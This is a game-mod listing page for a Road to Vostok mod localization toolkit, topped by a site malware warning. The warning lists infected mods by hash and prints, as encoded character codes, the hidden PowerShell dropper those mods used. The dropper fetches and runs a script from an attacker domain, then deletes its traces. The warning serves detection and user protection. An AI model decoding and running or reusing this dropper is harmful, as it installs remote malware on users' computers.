RTV Mod Localization Toolkit by dwyane_yao

📢 Attention about malware in mods

If you had installed the following mods:

"Auto Save on Exit" by Subaiy | MD5 hash - 6246fa47c492250128cbb4a463d2161a "Kill Counter" by Daniel | MD5 hash - bcee56cc847489a2a328189ba882d95e (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) "Enemies Drop Better Loot" by Krunker | MD5 hash - ba9e7d88f1079c0324d53bde5786e4da (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). "Item Esp" by captainushi55. | MD5 hash - c663af8446d2a71747456cea36d0dfd9

Your PC is likely infected with malware. Do a proper reset to your computer.

What are we gonna do next? We are going to look for moderators to look at new mods for RTV. We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229. What can you do? Again if you are infected, factory reset your computer. Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] Check file hash of the file you downloaded using: https://hash-file.online. Any mod containing powershell script without a good reason should be reported to moderators. Any mod that isn't open-source should be reported.

This mod uses AI-Generated content either partly or fully, see mod's description for more information.

RTV Mod Localization Toolkit

An offline, locale-agnostic localization toolkit for Road to Vostok mods.

This is not a translation pack. It's the toolchain that produces and applies translation packs — any locale, any mod. Ship your own Chinese, Japanese, German, Russian pack with the same workflow; the toolkit doesn't care which language you're targeting.

What's Inside

Component	Role	Runs
RTV-Mod-Localizer (`.vmz` mod)	Rebuilds each installed mod's `.vmz` with your translations applied, backs up the original as `.vmz.rtvsrc`, and exposes per-mod language dropdowns in MCM.	Inside the game
RTV-Text-Extractor (Python tool)	Reads a `.vmz`, pulls out MCM / UI text that's safe to translate, and writes an empty, ready-to-fill JSON pack.	Outside the game

Supported locale IDs (not exhaustive, any <locale>.json works):
ar_ar · de_de · es_es · it_it · ja_jp · ko_kr · pt_br · ru_ru · us_us · zh_cn · zh_tw

Multiple locales can coexist per mod — MCM lists whichever <locale>.json files you drop under each mod's pack folder.

How They Work Together

Install the mod. Drop RTV-Mod-Localizer.vmz and the (empty) RTV-Mod-Localizer/Packs/ folder into …/Road to Vostok/mods/. Requires Mod Configuration Menu.
Extract strings. Run python rtv_text_extractor.py, pick a .vmz (or your whole mods folder), pick a locale. It emits <mod_id>/<locale>.json with empty to fields.
Translate. Fill in the to fields. Leave from, match, and where alone.
Deploy. Copy the filled pack into …/mods/RTV-Mod-Localizer/Packs/<mod_id>/<locale>.json. Launch the game, open MCM → RTV-Mod-Localizer, switch the target mod's dropdown from Disabled to your locale, then restart the game.

The Localizer rebuilds the mod's .vmz offline with your translations and keeps the untouched original as <ModName>.vmz.rtvsrc. Flip the dropdown back to Disabled + restart to restore any mod at any time.

Scope and Limitations — Please Read First

Godot mod development is free-form. There is no community-wide convention for how mod authors expose user-facing strings, which properties they assign them to, or how they compose them at runtime. As long as that remains true, no automated localization pipeline can hit 100% coverage across every mod, and this toolkit is not an exception.

What this toolkit reliably does

Extracts the majority of MCM settings pages (titles, options, tooltips, descriptions) and most in-game UI text that mods add.
Applies packs offline and deterministically, with an always-available restore path via the .vmz.rtvsrc backup.
Stays conservative — when a literal's identity is ambiguous, it's skipped rather than guessed.

What this toolkit does not do

It does not auto-translate. Every to field is human-authored (or machine-translated-then-reviewed). Empty to fields are ignored at build time.
It does not capture strings the extractor couldn't identify — typically strings assembled at runtime, driven by enum values, or stored in non-standard properties. Those need hand-authored pack entries.
It does not translate the base game.
It does not track mod updates automatically. When an author publishes a new version, re-run the extractor, diff, and patch your pack.

Treat the extractor's output as a strong starting point, not a finished pack. Hand-authored additions and in-game verification are a normal part of producing any locale.

Source Code & Contributing

Both tools are open source under the MIT License.

RTV-Mod-Localizer (the in-game builder):
https://github.com/dwyaneyao/RTV-Mod-Localizer
RTV-Text-Extractor (the Python extractor):
https://github.com/dwyaneyao/RTV-Text-Extractor

Pull requests, issues, and improvements are welcome — especially:

new where filter kinds,
better coverage for string patterns the extractor currently misses,
safer skip rules for edge-case non-display literals,
bug fixes in GDScript / scene / resource / config parsing.

If you spot something the tooling mishandles on a specific mod, open an issue with the mod name + a pack excerpt. The "rare pattern" tail is exactly the kind of thing community contributions fix best.

Credits & License

RTV-Mod-Localizer and RTV-Text-Extractor are released under the MIT License.
Respect each translated mod author's license. The Localizer only repackages their existing .vmz on your machine; it does not redistribute their source.
Special thanks to the Road to Vostok modding community and to the MCM author for making settings pages inspectable in the first place.

Happy translating — and have fun out

Download zip (110.15 KiB) 0

Install with Mod Organizer 2Don't have Mod Organizer 2?

Downloads11

Publish Date2 days ago

Last Updated2 days ago by

dwyane_yao

Version0.3.9